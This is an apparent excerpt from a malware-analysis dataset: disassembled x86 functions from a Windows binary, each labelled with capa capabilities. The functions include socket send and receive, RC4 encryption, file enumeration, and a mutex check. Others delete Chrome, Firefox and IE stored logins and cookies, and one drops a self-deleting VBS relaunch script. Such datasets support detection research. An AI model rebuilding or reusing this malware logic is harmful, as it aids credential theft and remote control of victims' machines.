joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401907
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.00402040
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.0040216e
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0040204d
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.0040204d
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.0040204d
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040208e
cmp byte [edi + 1], bl
jne 0x401984
push ebx
lea ecx, [ebp - 0x1c]
call fcn.00402040
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402048
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x4019bf
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402040
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402048
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.004194ae
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.004020b1
lea ecx, [ebp + 0xc]
call fcn.004020b1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4019da
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x401a13
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.004194ea
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x401a24
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x401a2b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x401a4a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x401b0f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.004021e9
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.00402048
push eax
mov ecx, esi
call fcn.00401d46
test al, al
je 0x401c5e
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.00402040
cmp ebx, eax
jbe 0x401b82
mov ecx, edi
mov bl, 1
call fcn.00402040
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x401b84
xor bl, bl
test bl, bl
jne 0x401c5e
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.00402026
push eax
lea ecx, [ebp - 0x28]
call fcn.004020bb
lea ecx, [ebp - 0x40]
call fcn.004020b1
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402026
push eax
lea ecx, [ebp - 0x28]
call fcn.004020bb
lea ecx, [ebp - 0x40]
call fcn.004020b1
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x401bed
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402200
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x401c29
push eax
lea ecx, [esi + 0xc]
call fcn.00402097
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00402026
push eax
mov ecx, edi
call fcn.004020bb
lea ecx, [ebp - 0x40]
call fcn.004020b1
mov ecx, edi
call fcn.00402040
test eax, eax
lea eax, [esi + 0x58]
jne 0x401b33
lea ecx, [ebp - 0x28]
call fcn.004020b1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401d8f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x401e28
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x401db2
mov byte [esi + 0x7c], 1
jmp 0x401dfe
cmp byte [0x465a79], 0
je 0x401dfe
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00414175
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.00402a8d
sub esp, 0x14
mov ecx, esp
push 0x459450
call fcn.00402198
call fcn.00413bec
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.004020b1
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x401f8e
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x401e2a
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x404874
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x45fa40]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x404880
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x4048c4
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x4048a1
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4048e3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x40497b
inc edx
and edx, 0x800000ff
jns 0x40491d
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x404936
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x404969
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x40490c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x404d13
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.00404c62
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404d59
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.00414307
push 0x54
mov ecx, 0x467de0
call fcn.00401907
jmp 0x404e1a
lea ecx, [ebp - 0x18]
call fcn.004021e9
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403529
mov edx, 0x4595d4
mov ecx, eax
call fcn.00406afc
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.0040351f
test bl, bl
je 0x404de6
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.004021bf
push eax
lea ecx, [ebp - 0x18]
call fcn.004020bb
lea ecx, [ebp - 0x30]
jmp 0x404de1
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.004021bf
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.004047bd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004020bb
lea ecx, [ebp - 0x30]
call fcn.004020b1
lea ecx, [ebp - 0x48]
call fcn.004020b1
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404dac
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.00402200
push 0x50
mov ecx, 0x467de0
call fcn.00401907
lea ecx, [ebp - 0x18]
call fcn.004020b1
lea ecx, [ebp + 8]
call fcn.0040351f
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404e28
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186ec
call fcn.0044ab80
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0xc], esi
xor ebx, ebx
movlpd qword [ebp - 8], xmm0
push 0x4595d8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], ebx
call fcn.00406b7e
pop ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406567
lea ecx, [ebp - 0x44]
call fcn.0040351f
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x2c]
call fcn.00404c62
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], ecx
ja 0x404f02
mov edi, dword [ebp + 8]
jb 0x404e9c
cmp dword [ebp - 8], edi
jae 0x404f02
push ecx
push 0x186a0
lea eax, [ebp - 0x186e8]
mov ecx, esi
push eax
call fcn.004019da
mov esi, eax
cdq
add dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push ebx
adc dword [ebp - 4], edx
push eax
push esi
lea eax, [ebp - 0x186e8]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 8]
mov ecx, esp
push 8
push eax
call fcn.004021bf
mov ecx, dword [ebp - 0xc]
push 0x57
call fcn.00401907
test esi, esi
jle 0x404f3c
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
cmp dword [ebp - 4], eax
jb 0x404e9c
ja 0x404eff
cmp dword [ebp - 8], edi
jb 0x404e9c
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.00404c62
push eax
lea ecx, [ebp - 0x2c]
call fcn.00404c62
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x2c]
call fcn.0040351f
lea ecx, [ebp + 0x10]
call fcn.0040351f
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2c]
call fcn.00404c62
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x404f23

Function at 0x404f56
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004021e9
lea ecx, [ebp + 8]
call fcn.00402048
mov edi, eax
jmp 0x404fdd
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00437a58
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402198
mov ecx, eax
call fcn.00402048
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406bc2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00406c06
pop ecx
push eax
mov ecx, esi
call fcn.004020bb
lea ecx, [ebp - 0x1c]
call fcn.004020b1
lea ecx, [ebp - 0x34]
call fcn.004020b1
lea ecx, [ebp - 0x4c]
call fcn.004020b1
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x404f71
lea ecx, [ebp + 8]
call fcn.004020b1
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407ee0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x459774
call fcn.004325bd
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402198
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00404824
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004020b1
lea ecx, [ebp - 0x18]
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407f47
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407f3b
sub eax, 1
je 0x407f3b
xor bl, bl
jmp 0x407f60
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x407f51
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402198
call fcn.00408688
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004020b1
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407f6f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x459774
call fcn.004325bd
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402198
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00404824
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004020b1
lea ecx, [ebp - 0x18]
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407fd6
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407fca
sub eax, 1
je 0x407fca
xor bl, bl
jmp 0x407fef
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x407fe0
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402198
call fcn.00408688
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004020b1
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407ffe
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004021e9
lea ecx, [ebp - 0x48]
call fcn.004021e9
lea ecx, [ebp - 0x18]
call fcn.004021e9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402198
push eax
push 0x459774
call fcn.004325bd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402a8d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004020bb
lea ecx, [ebp - 0x30]
call fcn.004020b1
lea ecx, [ebp - 0x78]
call fcn.004020b1
lea eax, [ebp - 0x1d0]
push eax
push 0x459734
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406bc2
pop ecx
mov ecx, eax
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.004020b1
cmp esi, 0xffffffff
jne 0x4081c6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402198
call fcn.00408688
add esp, 0x18
jmp 0x4081fa
test byte [ebp - 0x1d0], 0x10
je 0x4081c6
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x4080dd
movzx eax, byte [ecx + 1]
test al, al
je 0x4081c6
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x459894
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x408103
inc ecx
cmp ecx, 3
jne 0x4080e5
xor eax, eax
jmp 0x408108
sbb eax, eax
or eax, 1
test eax, eax
je 0x4081c6
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406bc2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00404824
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.004020bb
lea ecx, [ebp - 0x30]
call fcn.004020b1
lea ecx, [ebp - 0x90]
call fcn.004020b1
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406bc2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00404824
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.004020bb
lea ecx, [ebp - 0x90]
call fcn.004020b1
lea ecx, [ebp - 0x30]
call fcn.004020b1
lea ecx, [ebp - 0x60]
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4081ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4081c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4080b9
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402198
call fcn.00408688
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.004020b1
lea ecx, [ebp - 0x48]
call fcn.004020b1
lea ecx, [ebp - 0x60]
call fcn.004020b1
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408219
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004021e9
lea ecx, [ebp - 0x18]
call fcn.004021e9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402198
push eax
push 0x459774
call fcn.004325bd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402a8d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004020bb
lea ecx, [ebp - 0x48]
call fcn.004020b1
lea ecx, [ebp - 0x60]
call fcn.004020b1
lea eax, [ebp - 0x1b8]
push eax
push 0x459734
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406bc2
pop ecx
mov ecx, eax
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.004020b1
cmp esi, 0xffffffff
jne 0x4082c9
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402198
call fcn.00408688
add esp, 0x18
jmp 0x4083c3
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4083a5
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x40838f
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x408305
movzx eax, byte [ecx + 1]
test al, al
je 0x40838f
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x459894
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x40832b
inc ecx
cmp ecx, 3
jne 0x40830d
mov eax, ebx
jmp 0x408330
sbb eax, eax
or eax, 1
test eax, eax
je 0x40838f
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406bc2
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00404824
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004020bb
lea ecx, [ebp - 0x48]
call fcn.004020b1
lea ecx, [ebp - 0x78]
call fcn.004020b1
lea ecx, [ebp - 0x30]
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4083e6
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x4083dd
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4082e1
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402198
call fcn.00408688
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.004020b1
lea ecx, [ebp - 0x30]
call fcn.004020b1
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4083c5
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x4082b7
Function at 0x4083f5
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021e9
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040d053
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.004020bb
lea ecx, [ebp - 0x30]
call fcn.004020b1
mov edx, 0x459594
lea ecx, [ebp - 0x18]
call fcn.00403fa3
test al, al
je 0x408462
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402198
call fcn.00408688
mov bl, 1
jmp 0x408500
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402048
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x408447
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402198
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00414245
mov ecx, eax
call fcn.00404c62
mov ecx, eax
call fcn.004147b5
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.0040351f
lea ecx, [ebp - 0x30]
call fcn.004020b1
test esi, esi
je 0x4084db
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x408451
push ecx
push 0x4599b0
call fcn.00408694
test eax, eax
je 0x408503
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402198
call fcn.00408688
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004020b1
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408669
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x408513
push eax
push eax
mov byte [0x465a6a], al
mov dword [0x465a74], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret

Function at 0x40880f
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x467f70
call fcn.00402048
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x408e01
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
mov esi, 0x467f88
push edi
mov ecx, esi
call fcn.00402040
push eax
mov ecx, esi
call fcn.00402048
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x467f40
call fcn.00402048
mov edx, eax
call fcn.0040d1ab
add esp, 0x14
xor edi, edi
test al, al
jne 0x408e5c
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00413f74
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00414245
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00407d3f
pop ecx
lea ecx, [ebp - 0x30]
call fcn.0040351f
lea ecx, [ebp - 0x48]
call fcn.004020b1
lea eax, [ebp - 0x78]
push eax
push 0x4596b8
push 0x459a28
call fcn.004325b2
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407d3f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040944c
pop ecx
lea ecx, [ebp - 0x48]
call fcn.0040351f
lea ecx, [ebp - 0x30]
call fcn.0040351f
lea ecx, [ebp - 0x18]
call fcn.004065a7
push 0x459bd0
push 0x459bd4
lea ecx, [ebp - 0xc0]
call fcn.00403529
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00403529
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00407d3f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004093d6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407d3f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004064e2
lea ecx, [ebp - 0x48]
call fcn.0040351f
lea ecx, [ebp - 0x30]
call fcn.0040351f
lea ecx, [ebp - 0x90]
call fcn.0040351f
lea ecx, [ebp - 0xa8]
call fcn.0040351f
lea ecx, [ebp - 0xc0]
call fcn.0040351f
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.004064d9
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404c62
push eax
lea ecx, [ebp - 0x18]
call fcn.00402040
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00404c62
mov edx, esi
mov ecx, eax
call fcn.004149a8
pop ecx
pop ecx
test al, al
je 0x408fc7
push edi
mov eax, 0x45962c
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00404c62
push eax
push 0x4595bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x408fc7
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.0040351f
lea ecx, [ebp - 0x60]
call fcn.0040351f
lea ecx, [ebp - 0x78]
call fcn.0040351f
pop edi
pop esi
mov esp, ebp
pop ebp
ret